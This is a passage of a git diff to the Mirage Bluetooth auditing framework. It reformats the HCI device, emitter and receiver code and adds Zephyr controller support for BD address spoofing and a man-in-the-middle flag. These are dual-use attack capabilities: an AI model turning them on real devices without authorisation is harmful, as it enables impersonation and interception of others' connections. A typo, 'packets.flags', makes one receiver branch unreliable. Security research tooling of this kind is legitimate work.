noResponse: + if self._isListening(): + getResponse = self.commandResponses.get + else: + getResponse = self._recv + response = getResponse() + # response.show() + while response is None or response.type != 0x04 or response.code != 0xE: + response = getResponse() + if ( + response.type == 0x04 + and response.code == 0xE + and response.opcode == cmd.opcode + ): + if response.status != 0: + raise BluetoothCommandError( + "Command %x failed with %x" % ( + cmd.opcode, response.status) + ) + return response + + def _enterCommandMode(self): + self.commandMode = True + + def _exitCommandMode(self): + self.commandMode = False + + def _commandModeEnabled(self): + return self.commandMode + + def _enterListening(self): + self.isListening = True + + def _exitListening(self): + self.isListening = False + + def _isListening(self): + return self.isListening + + def _flushCommandResponses(self): + while not self.commandResponses.empty(): + self.commandResponses.get() + if self.socket is not None: + self.socket.flush() + + def getCurrentHandle(self): + """ + This method returns the connection Handle actually in use. + If no connection is established, its value is equal to -1. + + :return: connection Handle + :rtype: int + + .. note:: + + This method is a **shared method** and can be called from the corresponding Emitters / Receivers. + + """ + return self.currentHandle + + def getConnections(self): + """ + This method returns a list of couple (connection handle / address) representing the connections actually established. + A connection is described by a dictionary containing an handle and a BD address : ``{"handle":72, "address":"AA:BB:CC:DD:EE:FF"}`` + + :return: list of connections established + :rtype: list of dict + + :Example: + + >>> device.getConnections() + [{'handle':72, 'address':'AA:BB:CC:DD:EE:FF'},{'handle':73, 'address':'11:22:33:44:55:66'}] + + .. note:: + + This method is a **shared method** and can be called from the corresponding Emitters / Receivers. + + """ + return self.handles + + def getAddressByHandle(self, handle): + """ + This method returns the BD address associated to the provided connection handle if a corresponding connection is established. If no connection uses this handle, it returns `None`. + + :param handle: connection handle + :type handle: int + :return: address of the corresponding connection + :rtype: str + + :Example: + + >>> device.getAddressByHandle(72) + 'AA:BB:CC:DD:EE:FF' + >>> device.getAddressByHandle(4) + None - ''' - return self.getAddressByHandle(self.getCurrentHandle()) + .. note:: - def switchConnection(self,address): - ''' - This method allows to switch the current connection to another connection established by providing the associated BD address. + This method is a **shared method** and can be called from the corresponding Emitters / Receivers. - :param address: BD Address of the new current connection - :type address: str - :return: boolean indicating if the operation was successful - :rtype: bool + """ + for connection in self.handles: + if connection["handle"] == handle: + return connection["address"] + return None - :Example: + def getCurrentConnection(self): + """ + This method returns the BD address associated to the current connection. If no connection is established, it returns None. - >>> device.getCurrentConnection() - 'AA:BB:CC:DD:EE:FF' - >>> device.switchConnection('11:22:33:44:55:66') - >>> device.getCurrentConnection() - '11:22:33:44:55:66' + :return: address of the current connection + :rtype: str - .. note:: + :Example: - This method is a **shared method** and can be called from the corresponding Emitters / Receivers. + >>> device.getCurrentConnection() + 'AA:BB:CC:DD:EE:FF' + >>> device.send(HCI_Hdr()/HCI_Command_Hdr()/HCI_Cmd_Disconnect()) + >>> device.getCurrentConnection() + None - ''' + .. note:: - for connection in self.handles: - if connection['address'] == address.upper(): - self._setCurrentHandle(connection['handle']) - return True - return False + This method is a **shared method** and can be called from the corresponding Emitters / Receivers. - def _setCurrentHandle(self,handle,address=""): - if handle != -1: - found = False - for connection in self.handles: - if connection["handle"] == handle: - found = True - if not found: - self.handles.append({"address":address.upper() if address is not None else "", "handle":handle}) - self.currentHandle = handle + """ + return self.getAddressByHandle(self.getCurrentHandle()) - def _removeConnectionHandle(self,handle): - for connection in self.handles: - if connection["handle"] == handle: - self.handles.remove(connection) - if handle == self.getCurrentHandle(): - if len(self.handles) > 0: - self._setCurrentHandle(self.handles[0]['handle']) - else: - self._setCurrentHandle(-1) + def switchConnection(self, address): + """ + This method allows to switch the current connection to another connection established by providing the associated BD address. - def isConnected(self): - ''' - This method returns a boolean indicating if a connection is actually established. + :param address: BD Address of the new current connection + :type address: str + :return: boolean indicating if the operation was successful + :rtype: bool - :return: boolean indicating if a connection is established - :rtype: bool + :Example: - :Example: + >>> device.getCurrentConnection() + 'AA:BB:CC:DD:EE:FF' + >>> device.switchConnection('11:22:33:44:55:66') + >>> device.getCurrentConnection() + '11:22:33:44:55:66' - >>> device.isConnected() - True + .. note:: - .. note:: + This method is a **shared method** and can be called from the corresponding Emitters / Receivers. - This method is a **shared method** and can be called from the corresponding Emitters / Receivers. + """ - ''' - return (self.getCurrentHandle() != -1) + for connection in self.handles: + if connection["address"] == address.upper(): + self._setCurrentHandle(connection["handle"]) + return True + return False - def setLocalName(self,name): - ''' - This method changes the local name of the HCI Device. + def _setCurrentHandle(self, handle, address=""): + if handle != -1: + found = False + for connection in self.handles: + if connection["handle"] == handle: + found = True + if not found: + self.handles.append( + { + "address": address.upper() if address is not None else "", + "handle": handle, + } + ) + self.currentHandle = handle - :param name: new name - :type name: str + def _removeConnectionHandle(self, handle): + for connection in self.handles: + if connection["handle"] == handle: + self.handles.remove(connection) + if handle == self.getCurrentHandle(): + if len(self.handles) > 0: + self._setCurrentHandle(self.handles[0]["handle"]) + else: + self._setCurrentHandle(-1) - :Example: + def isConnected(self): + """ + This method returns a boolean indicating if a connection is actually established. - >>> device.setLocalName("toto") + :return: boolean indicating if a connection is established + :rtype: bool - .. note:: + :Example: - This method is a **shared method** and can be called from the corresponding Emitters / Receivers. + >>> device.isConnected() + True - ''' - self._enterCommandMode() - self._internalCommand(HCI_Cmd_Write_Local_Name(local_name=name, padding="\x00"*(150 - len(name)))) - self._exitCommandMode() + .. note:: - def getLocalName(self): - ''' - This method returns the local name of the HCI Device. + This method is a **shared method** and can be called from the corresponding Emitters / Receivers. - :return: name - :rtype: str + """ + return self.getCurrentHandle() != -1 - :Example: + def enableMitM(self, flag): + """ + This method sets the mitm flag to the requried value. + This method is only requried for nrf zephyr controller mitm mode to forward encrypted packets. - >>> device.getLocalName() - 'toto' + :param flag: boolean indicating if mitm is activated + :type flag: bool - .. note:: + .. note:: - This method is a **shared method** and can be called from the corresponding Emitters / Receivers. + This method is a **shared method** and can be called from the corresponding Emitters / Receivers. - ''' - self._enterCommandMode() - evt = self._internalCommand(HCI_Cmd_Read_Local_Name()) - name = evt.local_name - self._exitCommandMode() - return name.decode('utf-8') + """ + self.mitm = flag - def _getManufacturerId(self): - self._enterCommandMode() - response = self._internalCommand(HCI_Cmd_Read_Local_Version_Information()) - manufacturer = response.manufacturer - self._exitCommandMode() - return manufacturer + def setLocalName(self, name): + """ + This method changes the local name of the HCI Device. - def getManufacturer(self): - ''' - This method returns the human readable name of the manufacturer of the HCI Device. + :param name: new name + :type name: str - :return: manufacturer's name - :rtype: str + :Example: - :Example: + >>> device.setLocalName("toto") - >>> device.getManufacturer() - 'Realtek Semiconductor Corporation' + .. note:: - .. note:: + This method is a **shared method** and can be called from the corresponding Emitters / Receivers. - This method is a **shared method** and can be called from the corresponding Emitters / Receivers. + """ + self._enterCommandMode() + self._internalCommand( + HCI_Cmd_Write_Local_Name( + local_name=name, padding="\x00" * (150 - len(name)) + ) + ) + self._exitCommandMode() - ''' - manufacturer = self._getManufacturerId() - return AssignedNumbers.getCompanyByNumber(manufacturer) + def getLocalName(self): + """ + This method returns the local name of the HCI Device. - def isAddressChangeable(self): - ''' - This method returns a boolean indicating if the manufacturer of the HCI Device provides some packets allowing to change the BD address. + :return: name + :rtype: str - :return: boolean indicating if the BD address can be changed - :rtype: bool + :Example: - :Example: + >>> device.getLocalName() + 'toto' - >>> device.isAddressChangeable() - True - >>> device2.isAddressChangeable() - False + .. note:: - .. note:: + This method is a **shared method** and can be called from the corresponding Emitters / Receivers. - This method is a **shared method** and can be called from the corresponding Emitters / Receivers. + """ + self._enterCommandMode() + evt = self._internalCommand(HCI_Cmd_Read_Local_Name()) + name = evt.local_name + self._exitCommandMode() + return name.decode("utf-8") - ''' - return self._getManufacturerId() in COMPATIBLE_VENDORS + def _getManufacturerId(self): + self._enterCommandMode() + response = self._internalCommand( + HCI_Cmd_Read_Local_Version_Information()) + manufacturer = response.manufacturer + self._exitCommandMode() + return manufacturer - def getAddress(self): - ''' - This method returns the actual BD address of the HCI Device. + def getManufacturer(self): + """ + This method returns the human readable name of the manufacturer of the HCI Device. - :return: str indicating the BD address - :rtype: str + :return: manufacturer's name + :rtype: str - :Example: + :Example: - >>> device.getAddress() - '1A:2B:3C:4D:5E:6F' + >>> device.getManufacturer() + 'Realtek Semiconductor Corporation' - .. note:: + .. note:: - This method is a **shared method** and can be called from the corresponding Emitters / Receivers. + This method is a **shared method** and can be called from the corresponding Emitters / Receivers. - ''' - self._enterCommandMode() - response = self._internalCommand(HCI_Cmd_Read_BD_Addr()) - address = response.addr - self._exitCommandMode() - return address.upper() + """ + manufacturer = self._getManufacturerId() + return AssignedNumbers.getCompanyByNumber(manufacturer) - def setAddress(self,address): - ''' - This method allows to change the BD address (if it is possible). + def isAddressChangeable(self): + """ + This method returns a boolean indicating if the manufacturer of the HCI Device provides some packets allowing to change the BD address. - :param address: new BD address - :type address: str - :return: boolean indicating if the operation was successful - :rtype: bool + :return: boolean indicating if the BD address can be changed + :rtype: bool - :Example: + :Example: - >>> device.getAddress() - '1A:2B:3C:4D:5E:6F' - >>> device.setAddress('11:22:33:44:55:66') - [INFO] Changing HCI Device (hci0) Address to : 11:22:33:44:55:66 - [SUCCESS] BD Address successfully modified ! - True - >>> device.getAddress() - '11:22:33:44:55:66' + >>> device.isAddressChangeable() + True + >>> device2.isAddressChangeable() + False - .. note:: + .. note:: + + This method is a **shared method** and can be called from the corresponding Emitters / Receivers. - This method is a **shared method** and can be called from the corresponding Emitters / Receivers. - - ''' - address = address.upper() - success = False - if self.isAddressChangeable(): - self._enterCommandMode() - io.info("Changing HCI Device ("+self.interface+") Address to : "+address) - response = self._internalCommand(HCI_Cmd_Read_Local_Version_Information()) - manufacturer = response.manufacturer + """ + return self._getManufacturerId() in COMPATIBLE_VENDORS - if manufacturer not in COMPATIBLE_VENDORS: - io.fail("The vendor has not provided a way to modify the BD Address.") - success = False - elif manufacturer == 10: # Cambridge Silicon Radio - self._internalCommand(HCI_Cmd_CSR_Write_BD_Address(addr=address),noResponse=True) - io.success("BD Address successfully modified !") - self._internalCommand(HCI_Cmd_CSR_Reset(),noResponse=True) + def getAddress(self): + """ + This method returns the actual BD address of the HCI Device. - self.socket.close() - utils.wait(seconds=1) - self._createSocket() + :return: str indicating the BD address + :rtype: str - success = True - else: - modificationPackets = { - 0 : HCI_Cmd_Ericsson_Write_BD_Address, - 13 : HCI_Cmd_TI_Write_BD_Address, - 15 : HCI_Cmd_BCM_Write_BD_Address, - 18 : HCI_Cmd_Zeevo_Write_BD_Address, - 48 : HCI_Cmd_ST_Write_BD_Address, - 57 : HCI_Cmd_Ericsson_Write_BD_Address - } - self._internalCommand(modificationPackets[manufacturer](addr=address)) - self._internalCommand(HCI_Cmd_Reset()) - io.success("BD Address successfully modified !") - success = True - self._exitCommandMode() - return success + :Example: + + >>> device.getAddress() + '1A:2B:3C:4D:5E:6F' + + .. note:: + + This method is a **shared method** and can be called from the corresponding Emitters / Receivers. + + """ + self._enterCommandMode() + response = self._internalCommand(HCI_Cmd_Read_BD_Addr()) + address = response.addr + self._exitCommandMode() + return address.upper() + + def setAddress(self, address): + """ + This method allows to change the BD address (if it is possible). + + :param address: new BD address + :type address: str + :return: boolean indicating if the operation was successful + :rtype: bool + + :Example: + + >>> device.getAddress() + '1A:2B:3C:4D:5E:6F' + >>> device.setAddress('11:22:33:44:55:66') + [INFO] Changing HCI Device (hci0) Address to : 11:22:33:44:55:66 + [SUCCESS] BD Address successfully modified ! + True + >>> device.getAddress() + '11:22:33:44:55:66' + + .. note:: + + This method is a **shared method** and can be called from the corresponding Emitters / Receivers. + + """ + address = address.upper() + success = False + if self.isAddressChangeable(): + self._enterCommandMode() + io.info( + "Changing HCI Device (" + self.interface + + ") Address to : " + address + ) + response = self._internalCommand( + HCI_Cmd_Read_Local_Version_Information()) + manufacturer = response.manufacturer + + if manufacturer not in COMPATIBLE_VENDORS: + io.fail( + "The vendor has not provided a way to modify the BD Address.") + success = False + elif manufacturer == 10: # Cambridge Silicon Radio + self._internalCommand( + HCI_Cmd_CSR_Write_BD_Address(addr=address), noResponse=True + ) + io.info("BD Address successfully modified !") + self._internalCommand(HCI_Cmd_CSR_Reset(), noResponse=True) + + self.socket.close() + utils.wait(seconds=1) + self._createSocket() + + success = True + else: + modificationPackets = { + 0: HCI_Cmd_Ericsson_Write_BD_Address, + 13: HCI_Cmd_TI_Write_BD_Address, + 15: HCI_Cmd_BCM_Write_BD_Address, + 18: HCI_Cmd_Zeevo_Write_BD_Address, + 48: HCI_Cmd_ST_Write_BD_Address, + 57: HCI_Cmd_Ericsson_Write_BD_Address, + 1521: HCI_Cmd_ZEPHYR_Write_BD_Address, + } + self._internalCommand( + modificationPackets[manufacturer](addr=address)) + self._internalCommand(HCI_Cmd_Reset()) + if manufacturer == 1521: + self._internalCommand(HCI_Cmd_Set_Event_Mask()) + io.info("BD Address successfully modified !") + success = True + self._exitCommandMode() + return success class BluetoothEmitter(wireless.Emitter): - ''' - This class is an Emitter for the Bluetooth protocol ("bt"). - - It can instantiates the following devices : - - * HCI Device (``mirage.libs.bt.BtHCIDevice``) - - ''' - def __init__(self,interface="hci0"): - super().__init__(interface=interface,packetType=BluetoothPacket, deviceType=BtHCIDevice) - - def convert(self,p): - if isinstance(p,BluetoothConnect): - p.packet = HCI_Hdr()/HCI_Command_Hdr()/HCI_Cmd_Create_Connection(addr=p.address,packet_type=p.packetType, page_scan_repetition_mode=p.pageScanRepetitionMode, clock_offset=p.clockOffset,allow_role_switch=p.allowRoleSwitch) - elif isinstance(p,BluetoothInquiry): - p.packet = HCI_Hdr()/HCI_Command_Hdr()/HCI_Cmd_Inquiry(lap=p.lap,num_response=p.numResponses,inquiry_length=p.inquiryLength) - elif isinstance(p,BluetoothWriteExtendedInquiryResponse): - p.packet = HCI_Hdr()/HCI_Command_Hdr()/HCI_Cmd_Write_Extended_Inquiry_Response(fec_required=0x00 if not p.fecRequired else 0x01,data=p.data) - elif isinstance(p,BluetoothRemoteNameRequest): - p.packet = HCI_Hdr()/HCI_Command_Hdr()/HCI_Cmd_Remote_Name_Request(addr=p.address,page_scan_repetition_mode=p.pageScanRepetitionMode) - elif isinstance(p,BluetoothWriteScanEnable): - if p.scanEnable is not None: - p.packet = HCI_Hdr()/HCI_Command_Hdr()/HCI_Cmd_Write_Scan_Enable(scan_enable=p.scanEnable) - else: - finalValue = 0 - if p.discoverable: - finalValue += 1 - if p.connectable: - finalValue += 2 - - p.packet = HCI_Hdr()/HCI_Command_Hdr()/HCI_Cmd_Write_Scan_Enable(scan_enable=finalValue) - elif isinstance(p,BluetoothAcceptConnectionRequest): - p.packet = HCI_Hdr()/HCI_Command_Hdr()/HCI_Cmd_Accept_Connection_Request(addr=p.address,role_switch=0x01 if p.role == "slave" else 0x00) - elif isinstance(p,BluetoothRejectConnectionRequest): - p.packet = HCI_Hdr()/HCI_Command_Hdr()/HCI_Cmd_Reject_Connection_Request(addr=p.address, reason=p.reason) - elif isinstance(p,BluetoothL2CAPConnectionRequest): - handle = p.connectionHandle if p.connectionHandle != -1 else self.device.getCurrentHandle() - p.packet = HCI_Hdr()/HCI_ACL_Hdr(handle=handle)/L2CAP_Hdr(cid=1)/L2CAP_CmdHdr()/L2CAP_ConnReq(psm=p.psm,scid=p.scid) # cid == 1 : L2CAP signaling channel - elif isinstance(p,BluetoothL2CAPConnectionResponse): - handle = p.connectionHandle if p.connectionHandle != -1 else self.device.getCurrentHandle() - p.packet = HCI_Hdr()/HCI_ACL_Hdr(handle=handle)/L2CAP_Hdr(cid=1)/L2CAP_CmdHdr()/L2CAP_ConnResp(dcid=p.dcid,scid=p.scid,status=p.status,result=p.result) # cid == 1 : L2CAP signaling channel - elif isinstance(p,BluetoothL2CAPInformationRequest): - handle = p.connectionHandle if p.connectionHandle != -1 else self.device.getCurrentHandle() - p.packet = HCI_Hdr()/HCI_ACL_Hdr(handle=handle)/L2CAP_Hdr(cid=1)/L2CAP_CmdHdr()/L2CAP_InfoReq(type=p.type,data=p.data) # cid == 1 : L2CAP signaling channel - elif isinstance(p,BluetoothL2CAPInformationResponse): - handle = p.connectionHandle if p.connectionHandle != -1 else self.device.getCurrentHandle() - p.packet = HCI_Hdr()/HCI_ACL_Hdr(handle=handle)/L2CAP_Hdr(cid=1)/L2CAP_CmdHdr()/L2CAP_InfoResp(type=p.type,result=p.result,data=p.data) # cid == 1 : L2CAP signaling channel - elif isinstance(p,BluetoothL2CAPConfigurationRequest): - handle = p.connectionHandle if p.connectionHandle != -1 else self.device.getCurrentHandle() - p.packet = HCI_Hdr()/HCI_ACL_Hdr(handle=handle)/L2CAP_Hdr(cid=1)/L2CAP_CmdHdr()/L2CAP_ConfReq(dcid=p.dcid,flags=p.flags)/p.data # cid == 1 : L2CAP signaling channel - - elif isinstance(p,BluetoothL2CAPConfigurationResponse): - handle = p.connectionHandle if p.connectionHandle != -1 else self.device.getCurrentHandle() - p.packet = HCI_Hdr()/HCI_ACL_Hdr(handle=handle)/L2CAP_Hdr(cid=1)/L2CAP_CmdHdr()/L2CAP_ConfResp(scid=p.scid,flags=p.flags,result=p.result)/p.data # cid == 1 : L2CAP signaling channel - - return p.packet + """ + This class is an Emitter for the Bluetooth protocol ("bt"). + + It can instantiates the following devices : + + * HCI Device (``mirage.libs.bt.BtHCIDevice``) + + """ + + def __init__(self, interface="hci0"): + super().__init__( + interface=interface, packetType=BluetoothPacket, deviceType=BtHCIDevice + ) + + def convert(self, p): + if isinstance(p, BluetoothConnect): + p.packet = ( + HCI_Hdr() + / HCI_Command_Hdr() + / HCI_Cmd_Create_Connection( + addr=p.address, + packet_type=p.packetType, + page_scan_repetition_mode=p.pageScanRepetitionMode, + clock_offset=p.clockOffset, + allow_role_switch=p.allowRoleSwitch, + ) + ) + elif isinstance(p, BluetoothInquiry): + p.packet = ( + HCI_Hdr() + / HCI_Command_Hdr() + / HCI_Cmd_Inquiry( + lap=p.lap, + num_response=p.numResponses, + inquiry_length=p.inquiryLength, + ) + ) + elif isinstance(p, BluetoothWriteExtendedInquiryResponse): + p.packet = ( + HCI_Hdr() + / HCI_Command_Hdr() + / HCI_Cmd_Write_Extended_Inquiry_Response( + fec_required=0x00 if not p.fecRequired else 0x01, data=p.data + ) + ) + elif isinstance(p, BluetoothRemoteNameRequest): + p.packet = ( + HCI_Hdr() + / HCI_Command_Hdr() + / HCI_Cmd_Remote_Name_Request( + addr=p.address, page_scan_repetition_mode=p.pageScanRepetitionMode + ) + ) + elif isinstance(p, BluetoothWriteScanEnable): + if p.scanEnable is not None: + p.packet = ( + HCI_Hdr() + / HCI_Command_Hdr() + / HCI_Cmd_Write_Scan_Enable(scan_enable=p.scanEnable) + ) + else: + finalValue = 0 + if p.discoverable: + finalValue += 1 + if p.connectable: + finalValue += 2 + + p.packet = ( + HCI_Hdr() + / HCI_Command_Hdr() + / HCI_Cmd_Write_Scan_Enable(scan_enable=finalValue) + ) + elif isinstance(p, BluetoothAcceptConnectionRequest): + p.packet = ( + HCI_Hdr() + / HCI_Command_Hdr() + / HCI_Cmd_Accept_Connection_Request( + addr=p.address, role_switch=0x01 if p.role == "slave" else 0x00 + ) + ) + elif isinstance(p, BluetoothRejectConnectionRequest): + p.packet = ( + HCI_Hdr() + / HCI_Command_Hdr() + / HCI_Cmd_Reject_Connection_Request(addr=p.address, reason=p.reason) + ) + elif isinstance(p, BluetoothL2CAPConnectionRequest): + handle = ( + p.connectionHandle + if p.connectionHandle != -1 + else self.device.getCurrentHandle() + ) + p.packet = ( + HCI_Hdr() + / HCI_ACL_Hdr(handle=handle) + / L2CAP_Hdr(cid=1) + / L2CAP_CmdHdr() + / L2CAP_ConnReq(psm=p.psm, scid=p.scid) + ) # cid == 1 : L2CAP signaling channel + elif isinstance(p, BluetoothL2CAPConnectionResponse): + handle = ( + p.connectionHandle + if p.connectionHandle != -1 + else self.device.getCurrentHandle() + ) + p.packet = ( + HCI_Hdr() + / HCI_ACL_Hdr(handle=handle) + / L2CAP_Hdr(cid=1) + / L2CAP_CmdHdr() + / L2CAP_ConnResp( + dcid=p.dcid, scid=p.scid, status=p.status, result=p.result + ) + ) # cid == 1 : L2CAP signaling channel + elif isinstance(p, BluetoothL2CAPInformationRequest): + handle = ( + p.connectionHandle + if p.connectionHandle != -1 + else self.device.getCurrentHandle() + ) + p.packet = ( + HCI_Hdr() + / HCI_ACL_Hdr(handle=handle) + / L2CAP_Hdr(cid=1) + / L2CAP_CmdHdr() + / L2CAP_InfoReq(type=p.type, data=p.data) + ) # cid == 1 : L2CAP signaling channel + elif isinstance(p, BluetoothL2CAPInformationResponse): + handle = ( + p.connectionHandle + if p.connectionHandle != -1 + else self.device.getCurrentHandle() + ) + p.packet = ( + HCI_Hdr() + / HCI_ACL_Hdr(handle=handle) + / L2CAP_Hdr(cid=1) + / L2CAP_CmdHdr() + / L2CAP_InfoResp(type=p.type, result=p.result, data=p.data) + ) # cid == 1 : L2CAP signaling channel + elif isinstance(p, BluetoothL2CAPConfigurationRequest): + handle = ( + p.connectionHandle + if p.connectionHandle != -1 + else self.device.getCurrentHandle() + ) + p.packet = ( + HCI_Hdr() + / HCI_ACL_Hdr(handle=handle) + / L2CAP_Hdr(cid=1) + / L2CAP_CmdHdr() + / L2CAP_ConfReq(dcid=p.dcid, flags=p.flags) + / p.data + ) # cid == 1 : L2CAP signaling channel + + elif isinstance(p, BluetoothL2CAPConfigurationResponse): + handle = ( + p.connectionHandle + if p.connectionHandle != -1 + else self.device.getCurrentHandle() + ) + p.packet = ( + HCI_Hdr() + / HCI_ACL_Hdr(handle=handle) + / L2CAP_Hdr(cid=1) + / L2CAP_CmdHdr() + / L2CAP_ConfResp(scid=p.scid, flags=p.flags, result=p.result) + / p.data + ) # cid == 1 : L2CAP signaling channel + + return p.packet + class BluetoothReceiver(wireless.Receiver): - ''' - This class is a Receiver for the Bluetooth protocol ("bt"). - - It can instantiates the following devices : - - * HCI Device (``mirage.libs.bt.BtHCIDevice``) - - ''' - def __init__(self, interface="hci0"): - super().__init__(interface=interface, packetType=BluetoothPacket, deviceType=BtHCIDevice) - - def stop(self): - super().stop() - if self.isDeviceUp(): - self.device._exitListening() - - def convert(self,packet): - new = BluetoothPacket() - new.packet = packet - if "hci" in self.interface: - if HCI_Evt_Extended_Inquiry_Result in packet: - return BluetoothInquiryScanResult(address=packet.addr,numResponses=packet.num_response,classOfDevice=packet.class_of_device,rssi=packet.rssi,data=packet.data) - elif HCI_Evt_Inquiry_Result in packet: - return BluetoothInquiryScanResult(address=packet.addr,numResponses=packet.num_response,classOfDevice=packet.class_of_device) - elif HCI_Evt_Inquiry_Result_With_RSSI in packet: - return BluetoothInquiryScanResult(address=packet.addr,numResponses=packet.num_response,classOfDevice=packet.class_of_device,rssi=packet.rssi) - elif HCI_Evt_Inquiry_Complete in packet: - return BluetoothInquiryComplete() - elif HCI_Evt_Connection_Complete in packet: - if packet.status == 0x00: - self.device._setCurrentHandle(packet.handle) - io.info('Uploading connection handle : '+str(self.device.getCurrentHandle())) - return BluetoothConnectResponse(srcMac=packet.addr,success=(packet.status == 0x00), encryptionMode=(packet.encryption_mode == 0x01), linkType=packet.link_type) - elif HCI_Evt_Max_Slot_Change in packet: - return BluetoothMaxSlotChange(maxNumberOfSlots=packet.max_number_slots) - elif HCI_Evt_Remote_Name_Request_Complete in packet: - return BluetoothRemoteNameResponse(success=(packet.status == 0x00), addr=packet.addr, remoteName=packet.remote_name) - elif HCI_Evt_Connection_Request in packet: - return BluetoothConnectionRequest(addr=packet.addr, classOfDevice=packet.class_of_device) - elif L2CAP_ConnReq in packet: - return BluetoothL2CAPConnectionRequest(scid=packet.scid, psm=packet.psm,connectionHandle=packet.handle) - elif L2CAP_ConnResp in packet: - return BluetoothL2CAPConnectionResponse(scid=packet.scid, dcid=packet.dcid,status=packet.status,result=packet.result, connectionHandle=packet.handle) - elif L2CAP_InfoReq in packet: - return BluetoothL2CAPInformationRequest(type=packet.type,data=packet.data, connectionHandle=packet.handle) - elif L2CAP_InfoResp in packet: - return BluetoothL2CAPInformationResponse(type=packet.type,data=packet.data,result=packet.result, connectionHandle=packet.handle) - elif L2CAP_ConfReq in packet: - return BluetoothL2CAPConfigurationRequest(dcid=packet.dcid,flags=packet.flags, connectionHandle=packet.handle) - elif L2CAP_ConfResp in packet: - return BluetoothL2CAPConfigurationResponse(scid=packet.scid,flags=packets.flags,result=packet.result, connectionHandle=packet.handle) - return new - - -WirelessModule.registerEmitter("bt",BluetoothEmitter) -WirelessModule.registerReceiver("bt",BluetoothReceiver) + """ + This class is a Receiver for the Bluetooth protocol ("bt"). + + It can instantiates the following devices : + + * HCI Device (``mirage.libs.bt.BtHCIDevice``) + + """ + + def __init__(self, interface="hci0"): + super().__init__( + interface=interface, packetType=BluetoothPacket, deviceType=BtHCIDevice + ) + + def stop(self): + super().stop() + if self.isDeviceUp(): + self.device._exitListening() + + def convert(self, packet): + new = BluetoothPacket() + new.packet = packet + if "hci" in self.interface: + if HCI_Evt_Extended_Inquiry_Result in packet: + return BluetoothInquiryScanResult( + address=packet.addr, + numResponses=packet.num_response, + classOfDevice=packet.class_of_device, + rssi=packet.rssi, + data=packet.data, + ) + elif HCI_Evt_Inquiry_Result in packet: + return BluetoothInquiryScanResult( + address=packet.addr, + numResponses=packet.num_response, + classOfDevice=packet.class_of_device, + ) + elif HCI_Evt_Inquiry_Result_With_RSSI in packet: + return BluetoothInquiryScanResult( + address=packet.addr, + numResponses=packet.num_response, + classOfDevice=packet.class_of_device, + rssi=packet.rssi, + ) + elif HCI_Evt_Inquiry_Complete in packet: + return BluetoothInquiryComplete() + elif HCI_Evt_Connection_Complete in packet: + if packet.status == 0x00: + self.device._setCurrentHandle(packet.handle) + io.info( + "Uploading connection handle : " + + str(self.device.getCurrentHandle()) + ) + return BluetoothConnectResponse( + srcMac=packet.addr, + success=(packet.status == 0x00), + encryptionMode=(packet.encryption_mode == 0x01), + linkType=packet.link_type, + ) + elif HCI_Evt_Max_Slot_Change in packet: + return BluetoothMaxSlotChange(maxNumberOfSlots=packet.max_number_slots) + elif HCI_Evt_Remote_Name_Request_Complete in packet: + return BluetoothRemoteNameResponse( + success=(packet.status == 0x00), + addr=packet.addr, + remoteName=packet.remote_name, + ) + elif HCI_Evt_Connection_Request in packet: + return BluetoothConnectionRequest( + addr=packet.addr, classOfDevice=packet.class_of_device + ) + elif L2CAP_ConnReq in packet: + return BluetoothL2CAPConnectionRequest( + scid=packet.scid, psm=packet.psm, connectionHandle=packet.handle + ) + elif L2CAP_ConnResp in packet: + return BluetoothL2CAPConnectionResponse( + scid=packet.scid, + dcid=packet.dcid, + status=packet.status, + result=packet.result, + connectionHandle=packet.handle, + ) + elif L2CAP_InfoReq in packet: + return BluetoothL2CAPInformationRequest( + type=packet.type, data=packet.data, connectionHandle=packet.handle + ) + elif L2CAP_InfoResp in packet: + return BluetoothL2CAPInformationResponse( + type=packet.type, + data=packet.data, + result=packet.result, + connectionHandle=packet.handle, + ) + elif L2CAP_ConfReq in packet: + return BluetoothL2CAPConfigurationRequest( + dcid=packet.dcid, flags=packet.flags, connectionHandle=packet.handle + ) + elif L2CAP_ConfResp in packet: + return BluetoothL2CAPConfigurationResponse( + scid=packet.scid, + flags=packets.flags, + result=packet.result, + connectionHandle=packet.handle, + ) + return new + + +WirelessModule.registerEmitter("bt", BluetoothEmitter) +WirelessModule.registerReceiver("bt", BluetoothReceiver) diff --git a/mirage/libs/bt_utils/packets.py b/mirage/libs/bt_utils/packets.py old mode 100644 new mode 100755 diff --git a/mirage/libs/bt_utils/scapy_vendor_specific.py b/mirage/libs/bt_utils/scapy_vendor_specific.py index 6611ef9..4273e86 100644 --- a/mirage/libs/bt_utils/scapy_vendor_specific.py +++ b/mirage/libs/bt_utils/scapy_vendor_specific.py @@ -3,7 +3,7 @@ ''' This module contains some scapy definitions defining some vendor specific HCI packets in order to change the BD Address. ''' -COMPATIBLE_VENDORS = [0,10,13,15,18,48,57] +COMPATIBLE_VENDORS = [0,10,13,15,18,48,57,1521] # Packets # Read Local Version Information, Command & Event @@ -90,6 +90,18 @@ class HCI_Cmd_ST_Write_BD_Address(Packet): LEMACField("addr","\x00\x01\x02\x03\x04\x05"), StrField("padding","\x00"*247)] +# Manufacturer : 1521 +class HCI_Cmd_ZEPHYR_Write_BD_Address(Packet): + name = "Zephyr Write BD Address" + fields_desc = [LEMACField("addr","\x00\x01\x02\x03\x04\x05")] + +class HCI_Cmd_ZEPHYR_Set_MITM_Flag(Packet): + name = "Zephyr set MITM Flag" + fields_desc = [ByteField("mitm_flag",0x01)] + +class HCI_Cmd_ZEPHYR_Set_Blocked_Ctrl_PDU(Packet): + name = "Zephyr set blocked Ctrl PDU" + fields_desc = [StrField("blocked_ctrl_pdu","\x00"*4)] # Bind it to layers bind_layers(HCI_Command_Hdr, HCI_Cmd_Read_Local_Version_Information, opcode=0x1001) @@ -102,5 +114,8 @@ class HCI_Cmd_ST_Write_BD_Address(Packet): bind_layers(HCI_Command_Hdr, HCI_Cmd_BCM_Write_BD_Address, opcode=0xfc01) bind_layers(HCI_Command_Hdr, HCI_Cmd_CSR_Write_BD_Address, opcode=0xfc00) bind_layers(HCI_Command_Hdr, HCI_Cmd_CSR_Reset, opcode=0xfc00) +bind_layers(HCI_Command_Hdr, HCI_Cmd_ZEPHYR_Write_BD_Address, opcode=0xfc06) +bind_layers(HCI_Command_Hdr, HCI_Cmd_ZEPHYR_Set_MITM_Flag, opcode=0xfc12) +bind_layers(HCI_Command_Hdr, HCI_Cmd_ZEPHYR_Set_Blocked_Ctrl_PDU, opcode=0xfc14) diff --git a/mirage/modules/ble_connect.py b/mirage/modules/ble_connect.py index 5509a53..c16be90 100644 --- a/mirage/modules/ble_connect.py +++ b/mirage/modules/ble_connect.py @@ -1,5 +1,6 @@ from mirage.libs import io,ble,utils from mirage.core 